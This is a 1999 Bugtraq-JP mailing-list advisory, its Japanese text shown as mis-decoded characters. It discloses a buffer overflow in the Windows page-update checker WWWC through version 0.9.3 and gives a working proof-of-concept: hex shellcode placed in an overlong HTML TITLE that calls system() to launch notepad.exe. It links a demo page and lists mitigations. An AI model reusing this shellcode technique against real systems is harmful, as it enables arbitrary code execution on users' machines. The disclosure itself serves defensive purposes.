Return-Path: owner-bugtraq-jp@SECURITYFOCUS.COM
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-2022-JP
Content-Transfer-Encoding: 7bit
X-Mailer: Becky! ver 1.25.05
Message-ID:  <37B7BF002DA.A270DEFCON0@210.157.158.133>
Date:         Mon, 16 Aug 1999 16:34:24 +0900
Reply-To: DEF CON ZERO WINDOW <defcon0@UGTOP.COM>
Sender: BUGTRAQ-JP List <BUGTRAQ-JP@SECURITYFOCUS.COM>
From: DEF CON ZERO WINDOW <defcon0@UGTOP.COM>
Subject:      WWWC Exploit
X-To:         bugtraq-jp <BUGTRAQ-JP@SECURITYFOCUS.COM>
To: BUGTRAQ-JP@SECURITYFOCUS.COM

¤É¤â¡¢DEF CON ZERO¼çºÅ¼Ô¤ÎR00t Zer0¤Ç¤¹¡£

Web¥Ú¡¼¥¸¤Î¹¹¿·¥Á¥§¥Ã¥¯¤Ë¿¤¯»È¤ï¤ì¤Æ¤¤¤ëWindows¥¢¥×¥ê¡¼¥±¡¼¥·¥ç¥ó¡ÖWWWC¡×¤Ë¼åÅÀ¤òȯ¸«¤·¤Þ¤·¤¿¡£



³µÍס§

¡¡°­°Õ¤Î¤¢¤ëweb¥µ¥¤¥È¤¬¡ÖExploit¥³¡¼¥É¤ò´Þ¤ó¤À¡×¥¿¥¤¥È¥ë¤òÀßÄꤹ¤ë»ö¤Ç¡¢¡ÖWWWC¡×¤Ç¥Á¥§¥Ã¥¯¤·¤Æ¤­¤¿¥æ¡¼¥¶¡¼¤Î¥Þ¥·¥ó¾å¤ÎǤ°Õ¤Î¥×¥í¥°¥é¥à¤ò¼Â¹Ô/ºï½ü/Êѹ¹¤¬²Äǽ¡£¤Þ¤¿Ç¤°Õ¤Î¥×¥í¥°¥é¥à¤òÁ÷¤ê¤Ä¤±¤ë»ö¤â²Äǽ¤Ê¤Î¤Ç¥¦¥£¥ë¥¹¤ä¥Ð¥Ã¥¯¥É¥¢¤ò¾¡¼ê¤Ë¥¤¥ó¥¹¥È¡¼¥ë¤µ¤ì¤ë´í¸±À­¤¬¤¢¤ë¡£



¼åÅÀ¤ò»ý¤Ä¥Ð¡¼¥¸¥ç¥ó¡§

¡¡WWWC Ver 0.9.3¤«¤é°ÊÁ°¤Î¥Ð¡¼¥¸¥ç¥óÁ´¤Æ¡£



¾ÜºÙ¡§

¡¡WWWC¤ÏTITLE¥¿¥°¤Ç»ØÄꤵ¤ì¤¿¥¿¥¤¥È¥ëʸ»úÎ󍵤ò¥Á¥§¥Ã¥¯¤·¤Æ¤¤¤Ê¤¤°Ù¡¢£²£¹£µ¥Ð¥¤¥È°Ê¾å¤Î¥¿¥¤¥È¥ë¤ò»ØÄꤹ¤ë¤È¥Ð¥Ã¥Õ¥¡¥ª¡¼¥Ð¡¼¥Õ¥í¡¼¤¬µ¯¤³¤ê¤Þ¤¹(¥ê¥¿¡¼¥ó¥¢¥É¥ì¥¹¤Ï¥¿¥¤¥È¥ë¤ÎÀèƬ¤«¤é+£²£¹£¶¥Ð¥¤¥È¤«¤é£´¥Ð¥¤¥ÈÈϰϤǤ¹)¡£

¡¡WWWC¤Ç½ä²ó¥Á¥§¥Ã¥¯¤ò¤·¤Æ¤¤¤ëÃʳ¬¤Ç¤ÏŤ¹¤®¤ë¥¿¥¤¥È¥ë¤Î¾ì¹ç¡¢(no title)¤Èɽ¼¨¤µ¤ì¤Þ¤¹¤¬¡¢¥¿¡¼¥²¥Ã¥È¥¢¥¤¥Æ¥à¤ò»ØÄꤷ¤Æ¡¢±¦¥¯¥ê¥Ã¥¯¤Î¥á¥Ë¥å¡¼¤«¤é¡Ö¥¿¥¤¥È¥ë¼èÆÀ¡×¤òÁª¤Ö¤È¥ª¡¼¥Ð¡¼¥Õ¥í¡¼¤¬È¯À¸¤·¤Æ¤·¤Þ¤¤¤Þ¤¹¡£

¡¡WWWC¥Ð¥Ã¥Õ¥¡¥ª¡¼¥Ð¡¼¥Õ¥í¡¼¤Î¾ì¹ç¤Ï¥Í¥Ã¥È¥¹¥±¡¼¥×¤äCHOCOA¤È°ã¤Ã¤ÆÀèƬ¥¢¥É¥ì¥¹¤¬0x00¤Î¾ì¹ç¤Ç¤âÀµ¾ï¤Ë¥¸¥ã¥ó¥×¤·¤Æ¤¯¤ì¤ë°Ù¡¢´Êñ¤ËExploit¥³¡¼¥É¤òºîÀ®¤¹¤ë»ö¤¬½ÐÍè¤Þ¤¹¡£¤Þ¤¿¡¢£·£°£°¥Ð¥¤¥È°Ê¾å¤Î¥³¡¼¥É¤òÆþ¤ì¤ë¤³¤È¤â²Äǽ(¤³¤Î¾ì¹ç¤Ï£²£¹£²¥Ð¥¤¥È¤¢¤¿¤ê¤«¤é£³£°£±¥Ð¥¤¥È°ÌÃ֤ޤǥ¸¥ã¥ó¥×¤µ¤»¤ì¤Ð£Ï£Ë)¤Ê¤Î¤Ç¡¢The Shadow penguin¤Ë¤¢¤ë¤è¤¦¤Ê¡Ö»ØÄꤵ¤ì¤¿¥¢¥É¥ì¥¹¡§¥Ý¡¼¥È¤ËÀܳ¤·¤Æ¥À¥¦¥ó¥í¡¼¥É¤µ¤»¤¿¥Õ¥¡¥¤¥ë¤ò¼Â¹Ô¡×¤µ¤»¤ë¤è¤¦¤Ê¥³¡¼¥É¤ò»ØÄꤵ¤»¤ë»ö¤¬½ÐÍè¤Æ¤·¤Þ¤¤¤Þ¤¹¡£

¡¡¤Þ¤¿¡¢www¤Î»ÅÍ;塢¶Ø§¥³¡¼¥É¤¬Ëؤɸºß¤·¤Ê¤¤°Ù¤Ë¥³¡¼¥É¤ÎÀ¸À®¤¬ÍưפˤʤäƤ¤¤ë¤Î¤â¸¶°ø¤Î£±¤Ä¤Ç¤Ï¤Ê¤¤¤«¤È»×¤ï¤ì¤Þ¤¹¡£



Exploit¥³¡¼¥É¡§

¡¡¤³¤Î¥³¡¼¥É¤ò¥¿¥¤¥È¥ë¤Ë»ØÄꤷ¤Æ¤¤¤ë¥µ¥¤¥È¤òWWWC¤ËÅÐÏ¿¤·¤Æ¤ª¤¤¤Æ¤«¤é¡¢±¦¥¯¥ê¥Ã¥¯¤Ç¡Ö¥¿¥¤¥È¥ë¤Î¼èÆÀ¡×¤òÁªÂò¡¢¼Â¹Ô¤·¤Þ¤¹¡£¤¹¤ë¤È¾¡¼ê¤Ënotepad.exe¤¬µ¯Æ°¤µ¤ì¤ë¤Ï¤º¤Ç¤¹¡£

¡¡¥¿¥¤¥È¥ë¥¿¥°¤Ë¡¢°Ê²¼¤Î¥³¡¼¥É¤ò¥Ð¥¤¥Ê¥ê¤Ç½ñ¤­¤³¤ß¤Þ¤¹¡£

EB 4B 5B 53 32 E4 83 C3 0B 4B 88 23 B8 50 77 F7 BF FF D0 8B D0 52 43 53 52 32 E4 83 C3 06 88 23 B8 28 6E F7 BF FF D0 8B F0 5A 43 53 52 32 E4 83 C3 04 88 23 B8 28 6E F7 BF FF D0 8B F8 43 53 83 C3 0B 32 E4 88 23 FF D6 33 C0 50 FF D7 E8 B0 FF FF FF 6D 73 76 63 72 74 2E 64 6C 6C 2E 73 79 73 74 65 6D 2E 65 78 69 74 2E 6E 6F 74 65 70 61 64 2E 65 78 65 74 30 31 31 45 78 70 6C 6F 69 74 30 31 32 45 78 70 6C 6F 69 74 30 31 33 45 78 70 6C 6F 69 74 30 31 34 45 78 70 6C 6F 69 74 30 31 35 45 78 70 6C 6F 69 74 30 31 36 45 78 70 6C 6F 69 74 30 31 37 45 78 70 6C 6F 69 74 30 31 38 45 78 70 6C 6F 69 74 30 31 39 45 78 70 6C 6F 69 74 30 32 30 45 78 70 6C 6F 69 74 30 32 31 45 78 70 6C 6F 69 74 30 32 32 45 78 70 6C 6F 69 74 30 32 33 45 78 70 6C 6F 69 74 30 32 34 45 78 70 6C 6F 69 74 30 32 35 45 78 70 6C 6F 69 74 30 32 36 45 78 70 6C 6F 69 74 30 32 37 45 78 70 6C 6F 69 74 30 32 38 45 78 70 6C 6F 69 7C 70 70 00
        ~~~~~~~~~~~¥ê¥¿¡¼¥ó¥¢¥É¥ì¥¹0x70707c

ʸ»úÎó¤Ç¸«¤ë¤È¡¢

<TITLE>õ¬[S2çã¥ÆK#¥¯Pw-A÷$)B¥½-Aÿ$)B¥ß¶ÒRCSR2çã¥Æ#¥¯(n-A÷$)B¥½-Aÿ$)B¥ß¶òZCSR2çã¥Æ#¥¯(n-A÷$)B¥½-Aÿ$)B¥ß¶úCS¦Å2çè#-Aÿ$)B¥è3¥¿P-Aÿ$)B¥éð²-Aÿÿÿmsvcrt.dll.system.exit.notepad.exet011Exploit012Exploit013Exploit014Exploit015Exploit016Exploit017Exploit018Exploit019Exploit020Exploit021Exploit022Exploit023Exploit024Exploit025Exploit026Exploit027Exploit028Exploi|pp </TITLE>$)B

¤È¤Ê¤ê¤Þ¤¹¡£¡ÖExploit???¡×¤È¤¤¤¦¤Î¤Ï¥À¥ß¡¼¥³¡¼¥É¤Ç¼ÂºÝ¤Ë¤Ï¼Â¹Ô¤µ¤ì¤Þ¤»¤ó¡£


¤Þ¤¿¡¢¤³¤ì¤À¤±¤Ç¤Ïʬ¤«¤ê¤Ë¤¯¤¤¤«¤â¤·¤ì¤Þ¤»¤ó¤Î¤Ç¥Ç¥â¥Ú¡¼¥¸¤òºîÀ®¤·¤Æ¤¢¤ê¤Þ¤¹¡£

[ wwwc exploit¥Ç¥â¥Ú¡¼¥¸ ]
http://www.ugtop.com/defcon0/hc/wwwc_ex.htm

¤³¤Î£Õ£Ò£Ì¤òWWWC¤ËÄɲä·¤¿¸å¤Ë±¦¥¯¥ê¥Ã¥¯¤Ç¡Ö¥¿¥¤¥È¥ë¼èÆÀ¡×¤ò¼Â¹Ô¤·¤Æ²¼¤µ¤¤¡£



ÂкöÊýË¡¡§

¡¡¤³¤Î¹¶·âÊýË¡¤Ï¡¢WWWC¸ø¼°¥µ¥¤¥È¤Ç¸ø³«¤µ¤ì¤Æ¤¤¤ë¥Ð¡¼¥¸¥ç¥ó1.0.0 b77¤Ë¤ÏÄÌÍѤ·¤Þ¤»¤ó¡£¤Ä¤Þ¤êÂнèÊýË¡¤È¤·¤Æ¤Ï¡¢

¡¦¿®Íê¤Ç¤­¤Ê¤¤¥µ¥¤¥È¤ËÂФ·¤Æ¡Ö¥¿¥¤¥È¥ë¼èÆÀ¡×¤ò¹Ô¤ï¤Ê¤¤
¡¦¸ø¼°¥µ¥¤¥È¤è¤ê¥Ð¡¼¥¸¥ç¥ó1.0.0 b77¤ò¥À¥¦¥ó¥í¡¼¥É¤·¤Æ»ÈÍѤ¹¤ë

¤Î£²ÅÀ¤¬µó¤²¤é¤ì¤Þ¤¹¡£



»²¹Í¥µ¥¤¥È¡§

[The Shadow Penguin Security]
http://shadowpenguin.backsection.net/

[WWWC¸ø¼°¥µ¥¤¥È]
http://www.nakka.com/

[Áë¤ÎÅÎ]
http://www.forest.impress.co.jp/bookmark.html#wwwc


°Ê¾å¡³(¡­¡¼¡®)¥Î


--
: R00t Zer0 -   http://www.ugtop.com/defcon0/index.htm           :
: E-Mail: defcon0@ugtop.com                                      :
: --                                                          -- :
: "HP/UX is the worst OS for the hacker..." - Mark Abene         :